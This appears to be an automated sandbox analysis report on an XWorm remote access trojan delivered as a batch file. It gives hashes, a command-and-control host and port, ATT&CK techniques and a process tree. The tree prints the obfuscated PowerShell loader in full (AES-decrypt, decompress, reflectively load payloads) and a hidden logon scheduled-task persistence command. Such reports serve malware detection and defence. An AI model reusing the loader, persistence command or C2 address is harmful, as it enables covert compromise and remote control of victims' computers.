xworm | 3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
09/06/2024, 12:44

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General

Target
portforwoder.bat
Size 390KB
Sample240609-pyv9zsbd26
SHA256 3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89
MD5 1ea03fad3259b7e127f5e05879db00a9
SHA1 5a0a28fa51768019339626fc0d10777e0860c4cb
SHA512 c0c58b8bf5711a59bcb8bc34ee328b217f958f77307650ec3084d3c170fb1e7aab42cd4a6e996e53261a630d79ffb5e354ca6f109764e5a6ff805ea1e0a78777
SSDEEP 12288:V38H8KRbEwtap0NezWGuTvLj4nr6wKtLBir0em:V3o1RGuj4rbs
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

done-declared.gl.at.ply.gg:43143

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2324-51-0x000001E0D7250000-0x000001E0D7264000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	2324	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
860	powershell.exe
3940	powershell.exe
2324	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2904	timeout.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018400E3F6D865D"	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
860	powershell.exe
860	powershell.exe
3940	powershell.exe
3940	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	860	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeIncreaseQuotaPrivilege	3940	powershell.exe
Token: SeSecurityPrivilege	3940	powershell.exe
Token: SeTakeOwnershipPrivilege	3940	powershell.exe
Token: SeLoadDriverPrivilege	3940	powershell.exe
Token: SeSystemProfilePrivilege	3940	powershell.exe
Token: SeSystemtimePrivilege	3940	powershell.exe
Token: SeProfSingleProcessPrivilege	3940	powershell.exe
Token: SeIncBasePriorityPrivilege	3940	powershell.exe
Token: SeCreatePagefilePrivilege	3940	powershell.exe
Token: SeBackupPrivilege	3940	powershell.exe
Token: SeRestorePrivilege	3940	powershell.exe
Token: SeShutdownPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeSystemEnvironmentPrivilege	3940	powershell.exe
Token: SeRemoteShutdownPrivilege	3940	powershell.exe
Token: SeUndockPrivilege	3940	powershell.exe
Token: SeManageVolumePrivilege	3940	powershell.exe
Token: 33	3940	powershell.exe
Token: 34	3940	powershell.exe
Token: 35	3940	powershell.exe
Token: 36	3940	powershell.exe
Token: SeIncreaseQuotaPrivilege	3940	powershell.exe
Token: SeSecurityPrivilege	3940	powershell.exe
Token: SeTakeOwnershipPrivilege	3940	powershell.exe
Token: SeLoadDriverPrivilege	3940	powershell.exe
Token: SeSystemProfilePrivilege	3940	powershell.exe
Token: SeSystemtimePrivilege	3940	powershell.exe
Token: SeProfSingleProcessPrivilege	3940	powershell.exe
Token: SeIncBasePriorityPrivilege	3940	powershell.exe
Token: SeCreatePagefilePrivilege	3940	powershell.exe
Token: SeBackupPrivilege	3940	powershell.exe
Token: SeRestorePrivilege	3940	powershell.exe
Token: SeShutdownPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeSystemEnvironmentPrivilege	3940	powershell.exe
Token: SeRemoteShutdownPrivilege	3940	powershell.exe
Token: SeUndockPrivilege	3940	powershell.exe
Token: SeManageVolumePrivilege	3940	powershell.exe
Token: 33	3940	powershell.exe
Token: 34	3940	powershell.exe
Token: 35	3940	powershell.exe
Token: 36	3940	powershell.exe
Token: SeIncreaseQuotaPrivilege	3940	powershell.exe
Token: SeSecurityPrivilege	3940	powershell.exe
Token: SeTakeOwnershipPrivilege	3940	powershell.exe
Token: SeLoadDriverPrivilege	3940	powershell.exe
Token: SeSystemProfilePrivilege	3940	powershell.exe
Token: SeSystemtimePrivilege	3940	powershell.exe
Token: SeProfSingleProcessPrivilege	3940	powershell.exe
Token: SeIncBasePriorityPrivilege	3940	powershell.exe
Token: SeCreatePagefilePrivilege	3940	powershell.exe
Token: SeBackupPrivilege	3940	powershell.exe
Token: SeRestorePrivilege	3940	powershell.exe
Token: SeShutdownPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeSystemEnvironmentPrivilege	3940	powershell.exe
Token: SeRemoteShutdownPrivilege	3940	powershell.exe
Token: SeUndockPrivilege	3940	powershell.exe
Token: SeManageVolumePrivilege	3940	powershell.exe
Token: 33	3940	powershell.exe
Token: 34	3940	powershell.exe
Token: 35	3940	powershell.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3424	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3584 wrote to memory of 3652	3584	cmd.exe	86
PID 3584 wrote to memory of 3652	3584	cmd.exe	86
PID 3584 wrote to memory of 860	3584	cmd.exe	87
PID 3584 wrote to memory of 860	3584	cmd.exe	87
PID 860 wrote to memory of 3940	860	powershell.exe	90
PID 860 wrote to memory of 3940	860	powershell.exe	90
PID 860 wrote to memory of 1756	860	powershell.exe	94
PID 860 wrote to memory of 1756	860	powershell.exe	94
PID 1756 wrote to memory of 1680	1756	WScript.exe	95
PID 1756 wrote to memory of 1680	1756	WScript.exe	95
PID 1680 wrote to memory of 3360	1680	cmd.exe	98
PID 1680 wrote to memory of 3360	1680	cmd.exe	98
PID 1680 wrote to memory of 2324	1680	cmd.exe	99
PID 1680 wrote to memory of 2324	1680	cmd.exe	99
PID 2324 wrote to memory of 3424	2324	powershell.exe	56
PID 2324 wrote to memory of 1572	2324	powershell.exe	27
PID 2324 wrote to memory of 1316	2324	powershell.exe	22
PID 2324 wrote to memory of 3536	2324	powershell.exe	57
PID 2324 wrote to memory of 956	2324	powershell.exe	12
PID 2324 wrote to memory of 2724	2324	powershell.exe	46
PID 2324 wrote to memory of 3308	2324	powershell.exe	54
PID 2324 wrote to memory of 744	2324	powershell.exe	14
PID 2324 wrote to memory of 1324	2324	powershell.exe	23
PID 2324 wrote to memory of 2888	2324	powershell.exe	52
PID 2324 wrote to memory of 916	2324	powershell.exe	16
PID 2324 wrote to memory of 1112	2324	powershell.exe	19
PID 2324 wrote to memory of 864	2324	powershell.exe	15
PID 2324 wrote to memory of 1104	2324	powershell.exe	18
PID 2324 wrote to memory of 2284	2324	powershell.exe	41
PID 2324 wrote to memory of 2480	2324	powershell.exe	43
PID 2324 wrote to memory of 1096	2324	powershell.exe	17
PID 2324 wrote to memory of 896	2324	powershell.exe	11
PID 2324 wrote to memory of 1880	2324	powershell.exe	37
PID 2324 wrote to memory of 1668	2324	powershell.exe	30
PID 2324 wrote to memory of 2264	2324	powershell.exe	40
PID 2324 wrote to memory of 4232	2324	powershell.exe	69
PID 2324 wrote to memory of 2852	2324	powershell.exe	51
PID 2324 wrote to memory of 2652	2324	powershell.exe	45
PID 2324 wrote to memory of 4804	2324	powershell.exe	68
PID 2324 wrote to memory of 1456	2324	powershell.exe	25
PID 2324 wrote to memory of 1652	2324	powershell.exe	29
PID 2324 wrote to memory of 2832	2324	powershell.exe	50
PID 2324 wrote to memory of 1444	2324	powershell.exe	24
PID 2324 wrote to memory of 4396	2324	powershell.exe	92
PID 2324 wrote to memory of 1732	2324	powershell.exe	31
PID 2324 wrote to memory of 2028	2324	powershell.exe	72
PID 2324 wrote to memory of 1496	2324	powershell.exe	26
PID 2324 wrote to memory of 2804	2324	powershell.exe	49
PID 2324 wrote to memory of 2472	2324	powershell.exe	42
PID 2324 wrote to memory of 2008	2324	powershell.exe	34
PID 2324 wrote to memory of 1016	2324	powershell.exe	73
PID 2324 wrote to memory of 1408	2324	powershell.exe	36
PID 2324 wrote to memory of 788	2324	powershell.exe	10
PID 2324 wrote to memory of 1204	2324	powershell.exe	21
PID 2324 wrote to memory of 2016	2324	powershell.exe	35
PID 2324 wrote to memory of 1984	2324	powershell.exe	33
PID 2324 wrote to memory of 2180	2324	powershell.exe	39
PID 2324 wrote to memory of 1584	2324	powershell.exe	28
PID 2324 wrote to memory of 4596	2324	powershell.exe	67
PID 2324 wrote to memory of 1776	2324	powershell.exe	32
PID 2324 wrote to memory of 1184	2324	powershell.exe	20
PID 788 wrote to memory of 836	788	svchost.exe	101
PID 788 wrote to memory of 836	788	svchost.exe	101
PID 2324 wrote to memory of 4580	2324	powershell.exe	100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Suspicious use of WriteProcessMemory
PID:788
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1316

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1324

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2180

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3308

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\portforwoder.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NZA7uStBimzhU2pjm6inNDqFkCs0FhB+CeLL79sWRI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6OswDjQA8VBkciMxnDy1mg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pIVYA=New-Object System.IO.MemoryStream(,$param_var); $kljBV=New-Object System.IO.MemoryStream; $Cddeu=New-Object System.IO.Compression.GZipStream($pIVYA, [IO.Compression.CompressionMode]::Decompress); $Cddeu.CopyTo($kljBV); $Cddeu.Dispose(); $pIVYA.Dispose(); $kljBV.Dispose(); $kljBV.ToArray();}function execute_function($param_var,$param2_var){ $uzlSo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uoqGL=$uzlSo.EntryPoint; $uoqGL.Invoke($null, $param2_var);}$swHsV = 'C:\Users\Admin\AppData\Local\Temp\portforwoder.bat';$host.UI.RawUI.WindowTitle = $swHsV;$PZzIj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($swHsV).Split([Environment]::NewLine);foreach ($hSmwK in $PZzIj) { if ($hSmwK.StartsWith('SnmHeIeicRORhReMwpKo')) { $LpkSF=$hSmwK.Substring(20); break; }}$payloads_var=[string[]]$LpkSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_378_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_378.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3940
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_378.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1756
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_378.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1680
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NZA7uStBimzhU2pjm6inNDqFkCs0FhB+CeLL79sWRI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6OswDjQA8VBkciMxnDy1mg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pIVYA=New-Object System.IO.MemoryStream(,$param_var); $kljBV=New-Object System.IO.MemoryStream; $Cddeu=New-Object System.IO.Compression.GZipStream($pIVYA, [IO.Compression.CompressionMode]::Decompress); $Cddeu.CopyTo($kljBV); $Cddeu.Dispose(); $pIVYA.Dispose(); $kljBV.Dispose(); $kljBV.ToArray();}function execute_function($param_var,$param2_var){ $uzlSo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uoqGL=$uzlSo.EntryPoint; $uoqGL.Invoke($null, $param2_var);}$swHsV = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_378.bat';$host.UI.RawUI.WindowTitle = $swHsV;$PZzIj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($swHsV).Split([Environment]::NewLine);foreach ($hSmwK in $PZzIj) { if ($hSmwK.StartsWith('SnmHeIeicRORhReMwpKo')) { $LpkSF=$hSmwK.Substring(20); break; }}$payloads_var=[string[]]$LpkSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3360
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2324
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAF3B.tmp.bat""
        7⤵
        
        PID:452
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        8⤵
        Delays execution with timeout.exe
        
        PID:2904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:1016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

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StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
MD5 SHA1 SHA512

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__PSScriptPolicyTest_2xwcmq5f.naa.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2xwcmq5f.naa.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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tmpAF3B.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpAF3B.tmp.bat
Size 171B
SHA256 ba140c0acea4c67fe12f6fcf7e7d21eb42fa8f925619192dedc21868060be7ca
MD5 227dd5f84b127684fe82a690dc8dc6bd
SHA1 173aecd3d7bab5c408ab1ebd49ee5d91164d1ef6
SHA512 36a16704c80cbfce27fd67f1400ddd883a89669a90223d3a43b09a69a1baa54cde0deba6a7ec95e9cb982498db8fdad75d047df100649344c3f35395954795d0
MD5 SHA1 SHA512

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$phantom-startup_str_378.bat

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_378.bat
Size 390KB
SHA256 3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89
MD5 1ea03fad3259b7e127f5e05879db00a9
SHA1 5a0a28fa51768019339626fc0d10777e0860c4cb
SHA512 c0c58b8bf5711a59bcb8bc34ee328b217f958f77307650ec3084d3c170fb1e7aab42cd4a6e996e53261a630d79ffb5e354ca6f109764e5a6ff805ea1e0a78777
SSDEEP 12288:V38H8KRbEwtap0NezWGuTvLj4nr6wKtLBir0em:V3o1RGuj4rbs
MD5 SHA1 SHA512 SSDEEP

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$phantom-startup_str_378.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_378.vbs
Size 124B
SHA256 d7ba2d7c89780bd268ce7911b4942b97f75319140d33f022262a53d53ab2064b
MD5 1bd9420005ef9e72987b3f3104d34827
SHA1 be53b56696d4287b387d32b05c82ec48da143877
SHA512 eb7c55816488d1a071ae0067f42499927cf03c248a670fd63f794f839ea90d69f94921ae0fab3c1c87f301ecf7c7f85941c074da9a1f6510c36f9de1e5b4dc24
MD5 SHA1 SHA512

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Schedule Maintenance Work

Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
Size 2KB
SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
MD5 8abf2d6067c6f3191a015f84aa9b6efe
SHA1 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
